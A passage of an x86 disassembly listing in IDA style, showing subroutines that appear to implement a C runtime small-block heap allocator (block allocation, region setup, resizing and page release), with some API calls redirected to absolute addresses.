[ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41D670 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DD378 cmp eax, dword_4DD374 jbe short loc_41EA4E sub [ebp+arg_0], 14h loc_41EA4E: ; CODE XREF: sub_41E742+306j mov eax, dword_4DD37C mov dword_4DD370, eax loc_41EA58: ; CODE XREF: sub_41E742+234j ; sub_41E742+2ABj mov eax, [ebp+arg_0] mov dword_4DD36C, edi mov dword_4DD374, eax loc_41EA66: ; CODE XREF: sub_41E742+38j ; sub_41E742+227j pop edi pop esi pop ebx leave retn sub_41E742 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA6B proc near ; CODE XREF: sub_41BBE2+77p ; sub_41BEF3+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DD378 mov edx, dword_4DD37C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41EAAB or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41EABB ; --------------------------------------------------------------------------- loc_41EAAB: ; CODE XREF: sub_41EA6B+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41EABB: ; CODE XREF: sub_41EA6B+3Ej mov eax, dword_4DD370 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41EAE2 loc_41EAC9: ; CODE XREF: sub_41EA6B+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EAE2 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41EAC9 loc_41EAE2: ; CODE XREF: sub_41EA6B+5Cj ; sub_41EA6B+6Aj cmp ebx, [ebp+var_4] jnz short loc_41EB60 mov ebx, edx loc_41EAE9: ; CODE XREF: sub_41EA6B+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41EB05 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EB03 add ebx, 14h jmp short loc_41EAE9 ; --------------------------------------------------------------------------- loc_41EB03: ; CODE XREF: sub_41EA6B+91j cmp ebx, eax loc_41EB05: ; CODE XREF: sub_41EA6B+83j jnz short loc_41EB60 loc_41EB07: ; CODE XREF: sub_41EA6B+ADj cmp ebx, [ebp+var_4] jnb short loc_41EB1D cmp dword ptr [ebx+8], 0 jnz short loc_41EB1A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41EB07 ; --------------------------------------------------------------------------- loc_41EB1A: ; CODE XREF: sub_41EA6B+A5j cmp ebx, [ebp+var_4] loc_41EB1D: ; CODE XREF: sub_41EA6B+9Fj jnz short loc_41EB45 mov ebx, edx loc_41EB21: ; CODE XREF: sub_41EA6B+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41EB35 cmp dword ptr [ebx+8], 0 jnz short loc_41EB33 add ebx, 14h jmp short loc_41EB21 ; --------------------------------------------------------------------------- loc_41EB33: ; CODE XREF: sub_41EA6B+C1j cmp ebx, eax loc_41EB35: ; CODE XREF: sub_41EA6B+BBj jnz short loc_41EB45 call sub_41ED74 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41EB59 loc_41EB45: ; CODE XREF: sub_41EA6B:loc_41EB1Dj ; sub_41EA6B:loc_41EB35j push ebx call sub_41EE25 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EB60 loc_41EB59: ; CODE XREF: sub_41EA6B+D8j xor eax, eax jmp loc_41ED6F ; --------------------------------------------------------------------------- loc_41EB60: ; CODE XREF: sub_41EA6B+7Aj ; sub_41EA6B:loc_41EB05j ... mov dword_4DD370, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41EB87 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EBBE loc_41EB87: ; CODE XREF: sub_41EA6B+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41EBBB loc_41EBA4: ; CODE XREF: sub_41EA6B+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41EBA4 loc_41EBBB: ; CODE XREF: sub_41EA6B+137j mov edx, [ebp+var_4] loc_41EBBE: ; CODE XREF: sub_41EA6B+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41EBE7 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41EBE7: ; CODE XREF: sub_41EA6B+16Dj ; sub_41EA6B+183j test ecx, ecx jl short loc_41EBF0 shl ecx, 1 inc edi jmp short loc_41EBE7 ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EA6B+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41EC0D push 3Fh pop esi loc_41EC0D: ; CODE XREF: sub_41EA6B+19Dj cmp esi, edi jz loc_41ED22 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41EC7E cmp edi, 20h jge short loc_41EC4D mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41EC7B mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41EC7E ; --------------------------------------------------------------------------- loc_41EC4D: ; CODE XREF: sub_41EA6B+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41EC7B mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41EC7E ; --------------------------------------------------------------------------- loc_41EC7B: ; CODE XREF: sub_41EA6B+1D6j ; sub_41EA6B+203j mov ebx, [ebp+arg_0] loc_41EC7E: ; CODE XREF: sub_41EA6B+1B0j ; sub_41EA6B+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41ED2E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41ED1F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41ECF0 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41ECDE mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41ECDE: ; CODE XREF: sub_41EA6B+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41ED1F ; --------------------------------------------------------------------------- loc_41ECF0: ; CODE XREF: sub_41EA6B+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41ED09 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41ED09: ; CODE XREF: sub_41EA6B+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41ED1F: ; CODE XREF: sub_41EA6B+24Ej ; sub_41EA6B+283j mov ecx, [ebp+var_8] loc_41ED22: ; CODE XREF: sub_41EA6B+1A4j test ecx, ecx jz short loc_41ED31 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41ED31 ; --------------------------------------------------------------------------- loc_41ED2E: ; CODE XREF: sub_41EA6B+229j mov ecx, [ebp+var_8] loc_41ED31: ; CODE XREF: sub_41EA6B+2B9j ; sub_41EA6B+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41ED67 cmp ebx, dword_4DD374 jnz short loc_41ED67 mov ecx, [ebp+var_4] cmp ecx, dword_4DD36C jnz short loc_41ED67 and dword_4DD374, 0 loc_41ED67: ; CODE XREF: sub_41EA6B+2E0j ; sub_41EA6B+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41ED6F: ; CODE XREF: sub_41EA6B+F0j pop edi pop esi pop ebx leave retn sub_41EA6B endp ; =============== S U B R O U T I N E ======================================= sub_41ED74 proc near ; CODE XREF: sub_41EA6B+CCp mov eax, dword_4DD378 mov ecx, dword_4DD368 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41EDB7 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DD37C push edi push dword_4DD384 nop call near ptr 2890000h cmp eax, edi jz short loc_41EE07 add dword_4DD368, 10h mov dword_4DD37C, eax mov eax, dword_4DD378 loc_41EDB7: ; CODE XREF: sub_41ED74+11j mov ecx, dword_4DD37C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DD384 lea esi, [ecx+eax*4] call near ptr 2800000h nop cmp eax, edi mov [esi+10h], eax jz short loc_41EE07 push 4 push 2000h push 100000h push edi call near ptr 2680572h nop cmp eax, edi mov [esi+0Ch], eax jnz short loc_41EE0B push dword ptr [esi+10h] push edi push dword_4DD384 nop call near ptr 27F0614h loc_41EE07: ; CODE XREF: sub_41ED74+30j ; sub_41ED74+67j xor eax, eax jmp short loc_41EE22 ; --------------------------------------------------------------------------- loc_41EE0B: ; CODE XREF: sub_41ED74+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DD378 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41EE22: ; CODE XREF: sub_41ED74+95j pop edi pop esi retn sub_41ED74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE25 proc near ; CODE XREF: sub_41EA6B+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41EE37: ; CODE XREF: sub_41EE25+19j test eax, eax jl short loc_41EE40 shl eax, 1 inc ebx jmp short loc_41EE37 ; --------------------------------------------------------------------------- loc_41EE40: ; CODE XREF: sub_41EE25+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41EE55: ; CODE XREF: sub_41EE25+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41EE55 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 2680572h test eax, eax jnz short loc_41EE88 or eax, 0FFFFFFFFh jmp loc_41EF1B ; --------------------------------------------------------------------------- loc_41EE88: ; CODE XREF: sub_41EE25+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41EECE lea eax, [edi+10h] loc_41EE95: ; CODE XREF: sub_41EE25+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41EE95 loc_41EECE: ; CODE XREF: sub_41EE25+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41EF0B or [eax+4], edi loc_41EF0B: ; CODE XREF: sub_41EE25+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41EF1B: ; CODE XREF: sub_41EE25+5Ej pop edi pop esi pop ebx leave retn sub_41EE25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF20 proc near ; CODE XREF: sub_41BBE2+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41F0CE test bl, 1 jnz loc_41F0C7 add ebx, ecx cmp esi, ebx jg loc_41F0C7 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41EF97 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41EF97: ; CODE XREF: sub_41EF20+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41EFE7 cmp ecx, 20h jnb short loc_41EFC3 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41EFE7 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EFE7 ; --------------------------------------------------------------------------- loc_41EFC3: ; CODE XREF: sub_41EF20+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EFE7 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EFE7: ; CODE XREF: sub_41EF20+7Dj ; sub_41EF20+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41F0B5 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41F021 push 3Fh pop edi loc_41F021: ; CODE XREF: sub_41EF20+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41F0A3 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41F07A cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41F06D mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41F06D: ; CODE XREF: sub_41EF20+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41F09F ; --------------------------------------------------------------------------- loc_41F07A: ; CODE XREF: sub_41EF20+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41F090 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41F090: ; CODE XREF: sub_41EF20+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41F09F: ; CODE XREF: sub_41EF20+158j shr edx, cl or [eax], edx loc_41F0A3: ; CODE XREF: sub_41EF20+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41F0B8 ; --------------------------------------------------------------------------- loc_41F0B5: ; CODE XREF: sub_41EF20+E5j mov edx, [ebp+arg_4] loc_41F0B8: ; CODE XREF: sub_41EF20+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41F20E ; --------------------------------------------------------------------------- loc_41F0C7: ; CODE XREF: sub_41EF20+52j ; sub_41EF20+5Cj xor eax, eax jmp loc_41F211 ; --------------------------------------------------------------------------- loc_41F0CE: ; CODE XREF: sub_41EF20+49j jge loc_41F20E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41F0F9 push 3Fh pop esi loc_41F0F9: ; CODE XREF: sub_41EF20+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41F188 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F112 push 3Fh pop esi loc_41F112: ; CODE XREF: sub_41EF20+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41F161 cmp esi, 20h jnb short loc_41F13D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41F15E mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41F15E ; --------------------------------------------------------------------------- loc_41F13D: ; CODE XREF: sub_41EF20+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41F15E mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41F15E: ; CODE XREF: sub_41EF20+214j ; sub_41EF20+21Bj ... mov ebx, [ebp+arg_4] loc_41F161: ; CODE XREF: sub_41EF20+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F188 push 3Fh pop esi loc_41F188: ; CODE XREF: sub_41EF20+1DDj ; sub_41EF20+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41F205 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41F1DC cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F1CF mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41F1CF: ; CODE XREF: sub_41EF20+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41F201 ; --------------------------------------------------------------------------- loc_41F1DC: ; CODE XREF: sub_41EF20+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F1F2 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41F1F2: ; CODE XREF: sub_41EF20+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41F201: ; CODE XREF: sub_41EF20+2BAj shr edx, cl or [eax], edx loc_41F205: ; CODE XREF: sub_41EF20+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41F20E: ; CODE XREF: sub_41EF20+1A2j ; sub_41EF20:loc_41F0CEj push 1 pop eax loc_41F211: ; CODE XREF: sub_41EF20+1A9j pop edi pop esi pop ebx leave retn sub_41EF20 endp ; =============== S U B R O U T I N E ======================================= sub_41F216 proc near ; CODE XREF: sub_41F50E:loc_41F6DDp cmp dword_43AE60, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41F22A mov esi, offset off_43AE50 jmp short loc_41F247 ; --------------------------------------------------------------------------- loc_41F22A: ; CODE XREF: sub_41F216+Bj push 2020h push 0 push dword_4DD384 call near ptr 2800000h nop mov esi, eax test esi, esi jz loc_41F353 loc_41F247: ; CODE XREF: sub_41F216+12j mov ebp, dword_427064 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41F33C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41F32E mov eax, offset off_43AE50 cmp esi, eax jnz short loc_41F2A6 cmp off_43AE50, 0 jnz short loc_41F296 mov off_43AE50, eax loc_41F296: ; CODE XREF: sub_41F216+79j cmp off_43AE54, 0 jnz short loc_41F2BB mov off_43AE54, eax jmp short loc_41F2BB ; --------------------------------------------------------------------------- loc_41F2A6: ; CODE XREF: sub_41F216+70j mov [esi], eax mov eax, off_43AE54 mov [esi+4], eax mov off_43AE54, esi mov eax, [esi+4] mov [eax], esi loc_41F2BB: ; CODE XREF: sub_41F216+87j ; sub_41F216+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41F2DD: ; CODE XREF: sub_41F216+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41F2DD push ebx push 0 push edi call sub_41BF70 add esp, 0Ch loc_41F306: ; CODE XREF: sub_41F216+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41F32A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41F306 ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F216+F7j mov eax, esi jmp short loc_41F355 ; --------------------------------------------------------------------------- loc_41F32E: ; CODE XREF: sub_41F216+63j push 8000h push 0 push edi nop call near ptr 2680773h loc_41F33C: ; CODE XREF: sub_41F216+4Bj cmp esi, offset off_43AE50 jz short loc_41F353 push esi push 0 push dword_4DD384 nop call near ptr 27F0614h loc_41F353: ; CODE XREF: sub_41F216+2Bj ; sub_41F216+12Cj xor eax, eax loc_41F355: ; CODE XREF: sub_41F216+116j pop edi pop esi pop ebp pop ebx retn sub_41F216 endp ; =============== S U B R O U T I N E ======================================= sub_41F35A proc near ; CODE XREF: sub_41F3B0+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call near ptr 2680773h nop cmp off_43CE70, esi jnz short loc_41F37F mov eax, [esi+4] mov off_43CE70, eax loc_41F37F: ; CODE XREF: sub_41F35A+1Bj cmp esi, offset off_43AE50 jz short loc_41F3A7 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DD384 nop call near ptr 27F0614h pop esi retn ; --------------------------------------------------------------------------- loc_41F3A7: ; CODE XREF: sub_41F35A+2Bj or dword_43AE60, 0FFFFFFFFh pop esi retn sub_41F35A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F3B0 proc near ; CODE XREF: sub_41F4C9+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43AE54 push edi loc_41F3BD: ; CODE XREF: sub_41F3B0+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41F45B and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41F3D6: ; CODE XREF: sub_41F3B0+72j cmp dword ptr [edi], 0F0h jnz short loc_41F417 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 2680773h test eax, eax jz short loc_41F417 or dword ptr [edi], 0FFFFFFFFh dec dword_4DBE40 mov eax, [esi+0Ch] test eax, eax jz short loc_41F40C cmp eax, edi jbe short loc_41F40F loc_41F40C: ; CODE XREF: sub_41F3B0+56j mov [esi+0Ch], edi loc_41F40F: ; CODE XREF: sub_41F3B0+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41F424 loc_41F417: ; CODE XREF: sub_41F3B0+2Cj ; sub_41F3B0+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41F3D6 loc_41F424: ; CODE XREF: sub_41F3B0+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41F45B cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41F45B push 1 lea eax, [ecx+20h] pop edx loc_41F43B: ; CODE XREF: sub_41F3B0+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41F44C inc edx add eax, 8 cmp edx, 400h jl short loc_41F43B loc_41F44C: ; CODE XREF: sub_41F3B0+8Ej cmp edx, 400h jnz short loc_41F45B push ecx call sub_41F35A pop ecx loc_41F45B: ; CODE XREF: sub_41F3B0+11j ; sub_41F3B0+7Dj ... cmp esi, off_43AE54 jz short loc_41F46D cmp [ebp+arg_0], 0 jg loc_41F3BD loc_41F46D: ; CODE XREF: sub_41F3B0+B1j pop edi pop esi pop ebx leave retn sub_41F3B0 endp ; =============== S U B R O U T I N E ======================================= sub_41F472 proc near ; CODE XREF: sub_41BA91+3Ap ; sub_41BBE2+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43AE50 push esi mov ecx, edx loc_41F47E: ; CODE XREF: sub_41F472+1Cj cmp eax, [ecx+10h] jbe short loc_41F488 cmp eax, [ecx+14h] jb short loc_41F490 loc_41F488: ; CODE XREF: sub_41F472+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41F4C5 jmp short loc_41F47E ; --------------------------------------------------------------------------- loc_41F490: ; CODE XREF: sub_41F472+14j test al, 0Fh jnz short loc_41F4C5 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41F4C5 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41F4C5: ; CODE XREF: sub_41F472+1Aj ; sub_41F472+20j ... xor eax, eax pop esi retn sub_41F472 endp ; =============== S U B R O U T I N E ======================================= sub_41F4C9 proc near ; CODE XREF: sub_41BA91+4Dp ; sub_41BBE2+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41F50D inc dword_4DBE40 cmp dword_4DBE40, 20h jnz short locret_41F50D push 10h call sub_41F3B0 pop ecx locret_41F50D: ; CODE XREF: sub_41F4C9+2Bj ; sub_41F4C9+3Aj retn sub_41F4C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F50E proc near ; CODE XREF: sub_41BBE2+1ACp ; sub_41BEF3+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43CE70 push edi loc_41F51C: ; CODE XREF: sub_41F50E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41F5C7 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov 